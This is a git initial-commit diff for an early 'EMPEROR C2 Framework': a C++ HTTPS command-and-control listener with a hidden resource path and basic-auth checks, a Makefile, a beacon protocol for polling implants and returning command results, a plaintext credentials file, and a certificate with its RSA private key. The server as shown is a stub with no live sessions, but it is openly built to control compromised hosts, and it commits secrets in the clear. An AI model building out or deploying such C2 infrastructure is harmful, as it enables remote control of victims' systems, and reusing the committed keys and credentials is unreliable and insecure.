commit 6724c4929ee77d7715efdeb0583f9297e260561f Author: elimin8 Date: Thu Sep 16 17:39:51 2021 +0100 Initial commit diff --git a/EmperorServer.cpp b/EmperorServer.cpp new file mode 100755 index 0000000..88dc4c8 --- /dev/null +++ b/EmperorServer.cpp @@ -0,0 +1,160 @@ +#include +#include +#include +#include +#include + +// GLOBALS +httpserver::webserver ws = httpserver::create_webserver(8665) + .use_ssl() + .https_mem_key("server.key") + .https_mem_cert("server.crt"); + +class command_and_control : public httpserver::http_resource +{ + public: + std::vector> retrievecreds(std::string sFile) + { + std::vector> sCreds; + std::vector sUsernames; + std::vector sPasswords; + std::fstream fCreds; + fCreds.open("creds", std::ios::in); + char ch; + bool bUsername = true; + std::string sUsername = ""; + std::string sPassword = ""; + + while (true) + { + fCreds >> ch; + + if (fCreds.eof()) + { + sPasswords.push_back(sPassword); + break; + } + + if (ch == ':') + { + bUsername = false; + fCreds >> ch; + sUsernames.push_back(sUsername); + sUsername = ""; + } + + if (ch == '\n') + { + bUsername = true; + fCreds >> ch; + sPasswords.push_back(sPassword); + sPassword = ""; + } + + if (bUsername) + { + sUsername += ch; + } + else + { + sPassword += ch; + } + } + + sCreds.push_back(sUsernames); + sCreds.push_back(sPasswords); + return sCreds; + } + + bool verifycreds(std::vector>sCreds, std::string sUsername, std::string sPassword) + { + for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) + { + if (sCreds[0][iUsernameIndex] == sUsername) + { + for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++) + { + if (sCreds[1][iPasswordIndex] == sPassword) + { + return true; + } + } + } + } + return false; + } + + std::vector>sCreds = retrievecreds("creds"); + + const std::shared_ptr render(const httpserver::http_request& req) + { + if (verifycreds(sCreds, req.get_user(), req.get_pass())) + { + return std::shared_ptr(new httpserver::string_response("Authenticated")); + } + return std::shared_ptr(new httpserver::string_response("Not found")); + } +}; + +void startserver() +{ + command_and_control c2; + ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2); + ws.start(false); +} + +void prompt() +{ + std::cout << "========== EMPEROR C2 Framework==========" << std::endl; + std::cout << R"( _____ + ,888888b. + .d888888888b + _..-'.`*'_,88888b + ,'..-..`"ad88888888b. + ``-. `*Y888888b. + \ `Y888888b. + : Y8888888b. + : Y88888888b. + | _,8ad88888888. + : .d88888888888888b. + \d888888888888888888 + 8888;'''`88888888888 + 888' Y8888888888 + `Y8 :8888888888 + |` '8888888888 + | 8888888888 + | 8888888888 + | 8888888888 + | ,888888888P + : ;888888888' + \ d88888888' + _.>, 888888P' + <,--''`.._>8888( + `>__...--' `''` )" << std::endl; + std::cout << "=========================================" << std::endl; + std::string command; + + while (true) + { + std::cout << "[EMPEROR]>"; + std::cin >> command; + + if (command == "sessions") + { + std::cout << "No sessions currently active" << std::endl; + } + + if (command == "q" || command == "quit" || command == "exit") + { + ws.stop(); + break; + } + } +} + +int main (int argc, char** argv) +{ + startserver(); + prompt(); + return 0; +} diff --git a/Makefile b/Makefile new file mode 100755 index 0000000..e76f6f5 --- /dev/null +++ b/Makefile @@ -0,0 +1,2 @@ +default: + g++ EmperorServer.cpp -I /usr/local/include -L /usr/local/lib -lhttpserver -pthread -o EmperorServer diff --git a/creds b/creds new file mode 100755 index 0000000..6eb5f7b --- /dev/null +++ b/creds @@ -0,0 +1 @@ +Nanking-013332:yrPq4!ZUa[&C53.?$NWxzvK!CJF^',Q diff --git a/protocol b/protocol new file mode 100755 index 0000000..4371e7b --- /dev/null +++ b/protocol @@ -0,0 +1,31 @@ +CORE FEATURES + +server <-- client +REGISTRATION +msg=ready&type=basic +OR +msg=ready&type=advanced + +server --> client +ACKNOWLEDGE +user=(username of client)&msg=acknowledged + +server <-- client +REQUEST COMMAND (RUNNING AT REGULAR INTERVALS) +msg=reqcmd + +server --> client +RESPONSE WITH NO COMMAND IN QUEUE (RESPONSE TO PREVIOUS HTTP REQUEST) +msg=nocmd + +server --> client +RESPONSE ISSUING COMMAND (RESPONSE TO PREVIOUS HTTP REQUEST) +run=id + +server <-- client +RESULT +result=uid=1000(elimin8) + +server --> client +ACKNOWLEDGE +user=(username of client)&msg=acknowledged diff --git a/server.crt b/server.crt new file mode 100755 index 0000000..eeb3f3b --- /dev/null +++ b/server.crt @@ -0,0 +1,17 @@ +-----BEGIN CERTIFICATE----- +MIICoTCCAYkCFBeBenslYFw0PCtfNzvrcXDPppWcMA0GCSqGSIb3DQEBCwUAMA0x +CzAJBgNVBAYTAlVTMB4XDTIxMDgyMjIxMjU1MloXDTI0MDIwODIxMjU1MlowDTEL +MAkGA1UEBhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr0kC3 +bk3O4vpOP3d7qJLFwZHPmddAVh1eWsfv2AiEIAYzNmkoJY2XIInSXm28qKIjPVnD +punKujN/EKgiaCrrLOnf+OxqZFpqLc8CzRc99kNoecRDp+HGcNweFLqWm/Zrz84i +1wpj/973anoqUkLg04LwdEqfCrAljVS6IfLSw/ib9oOQN3C0dslTaFCD2T0pFUB/ +gK6/nuidLJ+OJh+Gv0PjtZcno56yOruEA1UoGLYugskFZx0UdOIVqhSYjoMAbd3i +XPnfbet83lxaFx31fpXJh1SqyYS6u/eVqDVytRR4BcZO/YV6syPqPp4Mu2mqsXQg +AG4R2UWuOZFJSnBnAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAAUg0dBwyVd0ouCV +tP8fVWvpRjmOii8czHp1aNVko6XncAGb5QsfvNmwPhhZnInURjofPqXoH3kCk0s6 +umK7Oyazc4gbtttESPsXVBQ0Lmb8QZIa40TeJ7d94f9SVO0J2TxtbSPICtrXQcOF +NqPWbgN7LoQvzKe3jjkIe+d6hRTxMwFD/rVQoseXi45uDmvpS7l2arAcIGsDXsLS +FvVaGnA8iDndPzmEZ4W4DcQRnhzDSfsTMthxaKxw+YgEBhC/j19b8csJj1+rD7l/ +qC5VI8YRJ6dqD+IxMYcHs41rHobjNgpdyMJ3FykXxd/nweIpP6TzQ7D9buxudtkY +WThMA8c= +-----END CERTIFICATE----- diff --git a/server.key b/server.key new file mode 100755 index 0000000..fdd99ee --- /dev/null +++ b/server.key @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEAq9JAt25NzuL6Tj93e6iSxcGRz5nXQFYdXlrH79gIhCAGMzZp +KCWNlyCJ0l5tvKiiIz1Zw6bpyrozfxCoImgq6yzp3/jsamRaai3PAs0XPfZDaHnE +Q6fhxnDcHhS6lpv2a8/OItcKY//e92p6KlJC4NOC8HRKnwqwJY1UuiHy0sP4m/aD +kDdwtHbJU2hQg9k9KRVAf4Cuv57onSyfjiYfhr9D47WXJ6Oesjq7hANVKBi2LoLJ +BWcdFHTiFaoUmI6DAG3d4lz5323rfN5cWhcd9X6VyYdUqsmEurv3lag1crUUeAXG +Tv2FerMj6j6eDLtpqrF0IABuEdlFrjmRSUpwZwIDAQABAoIBADenhubjh7h3tPQb +gqw/UitUI9LG1f405pZleVWq+Dcz2E5GVZF3eIF3PK0zgQAW703S1XyWWCweXAfQ +cWWTsDM0/RxbGNjtYIv8Ao25uMmNNxBkQLpZarxIWkQ0GqwmII+TZAXM+cSiYKpr +ht6mfpssZ8FTKciSQbQoL0WLMYgrAh9bsvd4KTwLsNedwiG575plG8IF43HEjaGl +GIwF7uPtmDYwxGr2MXLBJlkpRzj3JpMOcXnJDqf+DcCorngRM96BoRHC3CwyRSz7 +FKSQemPGvAwljN0+j1C1oIyC1SCQ1aOeQFQS5nbGF2kNJ9FO2dFA+aBN8OOr0Vm5 +vKrYuSECgYEA20kJyBsp0eJsnWew8BzPwZXqfN9KVCYcgcxB7xMRytJ0El4N9yJw +lKaobOeyCV9WixrjnysqKtfePNaYWqZQUfUW75qbfKue0HvfLLVIkSCjtBxp0Oy8 +qcbFJ8SNyfXcekxBIxtZ/AQXB9p3hoOw64L0grSnLLQXm+026Et8D20CgYEAyJbS +dnA9anrEBcXRZ3OUAbijuDQv66fuwHbfFfXdKNVUvi/s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